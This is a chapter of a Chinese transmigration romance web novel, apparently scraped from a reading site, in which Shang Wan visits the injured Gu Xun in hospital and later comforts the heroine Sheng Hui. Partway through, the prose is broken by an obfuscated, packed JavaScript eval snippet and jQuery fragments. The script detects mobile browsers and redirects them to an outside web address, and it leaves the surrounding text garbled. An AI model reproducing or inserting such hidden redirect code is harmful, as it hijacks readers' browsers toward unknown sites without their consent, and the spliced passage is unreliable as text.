25. 第 25 章
作品:《顶流她每天都想退圈[穿书]》 商晚沉默的时间太长,仿佛陷入了石化。
顾浔仰头看她,略显疑惑道:“晚晚?”
商晚只觉额角的小青筋全都胡乱蹦了起来。
她深吸一口气,面色冷淡地后退两步,说:“顾总,你不觉得你这个称呼,还有你这个行为,显得我俩有点暧昧吗?”
听完商晚的话,顾浔脸上露出一点很浅的笑意。
他道:“我以为,我冲上去救你的时候,你已经能看出来,我们之间很暧昧了。”
商晚:“……”
她说真的,她今天无语的次数,已经比过去一年还多了。
废话说了一箩筐,商晚却还是敏锐地察觉到了一点——
顾浔在回避她的问题。
自始至终,他都没有给出那个问题的真正答案。
顾浔没有告诉她,他救她的真正原因。
是对替身一瞬间的移情?
还是害怕她真死在片场,不能保存那双眼睛的风采?
商晚站在病房里,忽然觉得有点没意思。
她慢慢调整了一下呼吸,把顾浔张口就来的甜言蜜语当成是放屁,冷淡道:“既然顾总不准备回答我的问题,那我就不打扰您休息了。”
话说得冷漠,起身离开的动作更是干脆利落。
然而,商晚面无表情地走到病房门口,刚要出去,脚步却还是顿了顿。
她停顿两秒,最终还是下定决心,将憋了一整晚的话给说了出来。
她转身朝顾浔鞠了一躬,道:“顾总,不管出于什么原因,还是要谢谢你救我,算我欠你一个人情。”
顾浔的唇角幅度很轻地弯了一下,他说:“晚晚……”
话没说完,商晚当场炸毛,她咬牙切齿地打断顾浔:“顾总,这个人情里,不包括你叫我晚晚!”
她都说了不喜欢被人这么称呼,姓顾的听不懂吗!
顾浔差点被商晚这好似被人踩了尾巴的模样逗笑,好半天才微微正色:“那你准备怎么还我这个人情?”
商晚沉默了几秒。
她一边想要不要把给顾浔提供眼珠标本的日期提前,一边问系统,做眼球摘除手术的死亡风险到底高不高。
系统:“……”
宿主真的确定,成为一个瞎子之后,她的任务还能顺利完成吗?
商晚在病房门口头脑风暴,认真思考她要是真提前把眼珠子抠给顾浔,顾浔又不能快速把羁绊值给她涨到100,她该怎么完成剩下的任务。
病房另一边,顾浔忽然问她:“商小姐,《昭明宫》杀青以后,你有休假的计划吗?”
商晚:“啊?”
不是,这话题转得也太快了吧?
她面露疑色地抬头,在半空中正正好对上顾浔的目光。
不知道是不是和早已经和顾浔把挖眼计划说开了的缘故,商晚看着顾浔注视她的目光,竟然没了先前那种被猛兽盯住的猎物感。
她咽了咽口水,发自内心地察觉到了顾浔温水煮青蛙的功夫之深厚。
就连她这种早知道顾浔目的的人,都能在不知不觉间放下戒备,更别提原书里早就对他心有好感的女主沈茴了。
顾浔静静看了商晚两秒,道:“你要是有休假计划的话,就来陪我做一个月的康复训练吧——当作我今晚救你的报酬。”
早已经准备好大出血的商晚陷入了沉思。
不对劲。
商晚目光灼灼地盯着顾浔,越看他那张高岭之花的脸越觉得不对劲。
顾浔拿的压根也不是这么乐于助人的人设啊!
他指定有什么阴谋!
一时间,无数血腥小黑屋和福尔马林泡眼珠的画面一齐涌上了商晚的脑海,让她硬生生被自己的脑补吓出了一身白毛汗来。
她滚动了一下喉咙,正准备严词拒绝,另一边,系统的提示音忽然响了起来:“恭喜宿主,顾浔羁绊值已上涨至13.2。”
商晚:“……”
好好好,用攻略进度勾引她是吧。
递到唇边的“不行”硬生生拐了个弯,被商晚强行咽了回去。
她微笑着看向顾浔,笑起来的模样自带三分谄媚,那句“不行”也十分灵活地变成了“好呢顾总。”
商晚暗暗握拳。
可恶!
还真被顾浔给猜中了,她确实是个很容易被勾引的人。
话音落地,顾浔的羁绊值也随之微微跳动,又涨了0.3。
凌晨两点,夜色如墨。
医护人员照例进行术后查房,商晚也终于起身,离开了病房。
郑助理送她到停车场,回来的时候,顾浔已经合上了眼睛。
忙活了一整晚,恨不得连腿都溜细两公分的郑助理呼出一口长长的气,正要把手头的工作交接给医院特护,回去休息的时候,却陡然听见了一声不太和谐的呼吸声。
很绵沉。
他心下一惊,紧跟着便敏锐地察觉到,他们老板额角正泛着一层薄薄的冷汗。
他伸出手,碰了碰他们老板的额头。
郑乾:“!!”
他当场在心里尖叫出声:要死要死,怎么这么烫!
几秒钟后,郑乾冲出病房,喊来了医生。
值班医生匆匆赶来,整个病房里顿时掀起一阵不小的吵嚷声。
郑乾看着来来往往的医护人员,恨不能“梆梆”锤自己两拳。
他从入职那天起就被叮嘱过,他们老板对麻醉类药物的耐受性比普通人要高得多。
他们老板在商小姐面前忍着,不肯露出异色也就算了,他作为入职前被上司耳提面命过的私人助理,怎么能真把这茬给忘了呢!
手术结束还不到一小时,郑乾简直不敢想,他们老板在麻药不起作用后到底是怎么睡过去的!
让老板活生生受这么久的罪——
他不会明天就因为左脚先进医院被开了吧??
医院里的吵嚷声并未惊到地下停车场中的商晚。
商晚面露疲色地坐回车里,刚和助理小韩说完明天给她放一天假,让她好好休息的事情,余光便忽然瞥见了一道熟悉的身影。
出乎她的意料,那人竟然是沈茴。
凌晨两点,所有因剧组出事,围在医院里探视顾浔的工作人员都早已经离开,沈茴却独自一人,不知不觉地在医院待到了这个时候。
商晚不动声色地止住了小韩发车的动作,看向沈茴。
沈茴戴一只能将她整张脸捂得严严实实的黑色口罩,倚在停车场阴影里的一根立柱旁,肩膀微塌,脑袋低垂,整个人仿佛已经累到了极点。
商晚静静看着她。
沈茴不该出现在这里的,尤其是这个时刻。
除非——
商晚若有所思地垂下眼,除非,她刚才准备去7楼病房打探的那个病人,现在确实就住在这家医院。
沈茴的精疲力竭只持续了很短的几分钟。
很快,她就一点点直起了身体,面色如常地走向了她的车。
她的司机发动汽车,停车场传来一阵带着回声的发动机轰鸣。
商晚对小韩道:“我们也走吧。”
即使是这样兵荒马乱的一个夜晚,也总归是有过去的时候的。
副导演排查了一整晚的剧组安全设施,第二天,太阳照常升起,剧组照常开工。
商晚辗转反侧了一整夜,越想越觉得顾浔让她陪他一起做康复训练指定没憋什么好屁。
为了防止胡思乱想带来更多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082848|194421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的内耗,她干脆起了个大早,顶着暮色出现在了化妆间。
屋外天色未明,就连化妆师也还没到片场。
商晚推门进去时,以为要等上好久才能等到零星几个人来,却居然意外地在里面看到了沈茴。
看见商晚,沈茴很明显地愣了一下。
隔着一盏昏暗的小灯,商晚不动声色地看了看沈茴眼下的乌青,怀疑她大概率是一夜没睡。
至于没睡的原因,那就更好猜了。
在沈茴被顾浔骗身骗心,被傅沉非法拘禁,吃上爱情的苦以前,唯一能让她彻夜未眠的,也就只有住在医院7楼的那个病人了——
肾脏内科的病房里,住着沈茴那位患有肾衰竭的弟弟。
商晚清楚的记得,原书里,沈茴对她这位弟弟怀抱着幽微又复杂的情感。
他们明明来自不同的重组家庭,没有半点血缘关系,然而,沈茴为了给她弟弟找到匹配的肾脏,却甘愿在一开始成为顾浔的金丝雀。
后来顾浔目的暴露,沈茴心如死灰。
她失去了和这个世界抗争的心气,于是宁愿牺牲自己,成为一个瞎子,也要顾浔发誓,必须履行为她弟弟找到肾源的承诺。
只可惜,有时候,成为男女主,实在不是什么幸运的事情。
就和那些让人们难以忘怀的影视作品一样,好看的故事,需要荡气回肠,恨海情天,需要接二连三的冲突,不可挽回的宿命,还有,永不弥合的心碎。
沈茴的弟弟宋周乐死在了他做肾脏移植手术的前夕。
因为他发现了沈茴为此要付出的代价。
他发现自己原来是沈茴的软肋,更发现他还是顾浔和傅沉一次次胁迫沈茴的筹码。
只能靠饮食亲近之人血肉活下去的日子是无望的,所以,他选择从医院的天台上跳了下去。
商晚看着沈茴布满血丝的双眼,还有憔悴的面容,没忍住伸手,按灭了她面前那盏小小的化妆灯。
一室的黑暗里,她走上前,捂住沈茴的眼睛,说:“你现在需要休息。”
大概是伸手不见五指的环境终于给沈茴带来了一点久违的安全感,沈茴忽然塌下腰,在商晚温热的掌心里掉了眼泪。
她说:“南枝姐,我睡不着。”
掌心的濡湿中,商晚第一次品尝到了什么叫做五味杂陈,也猛地惊觉,《星途》的作者原来对沈茴这么残忍。
作为女主角的沈茴今年只有23岁。
大学毕业不久,还是个才踏进娱乐圈的新人。
女主光环保着她在演艺之路上一直顺风顺水。
仅出道一年,沈茴就能被电视剧圈的大导演赏识,力压商南枝这样的流量女星,出演《昭明宫》的女一号。
可与之一同到来的,是她被剥夺了无数东西的人生。
她家庭不幸,遇人不淑,星途不顺,爱情无果,就连世界上最后一个亲人,也只能躺在病床上,等待着死神一天天降临。
她年轻的肩膀几乎就要被这些重担压垮。
商晚看着沈茴,仿佛看见了过去的自己。
她任由沈茴的眼泪一滴滴浸透她的掌心,很久,她慢慢俯身,动作轻柔地拍了拍她的背。
商晚道:“睡不着可以吃褪黑素,再不行我那里还有医院开的安眠药,可以分你一片。
“沈茴,天总要亮的,老天爷不会因为你彻夜难眠就为你改变什么,等你睡醒,有什么问题我陪你一起想办法,好吗?”
沈茴眼眶微红,浑身上下都是冰凉的。整个化妆间里,只有商晚的手温温热热,给她提供了唯一的一点暖意。
不知道为什么,她忽然在这点久违的暖意里卸下了心防。
她抬起头,带着极浓重的鼻音,轻轻嗯了一声。

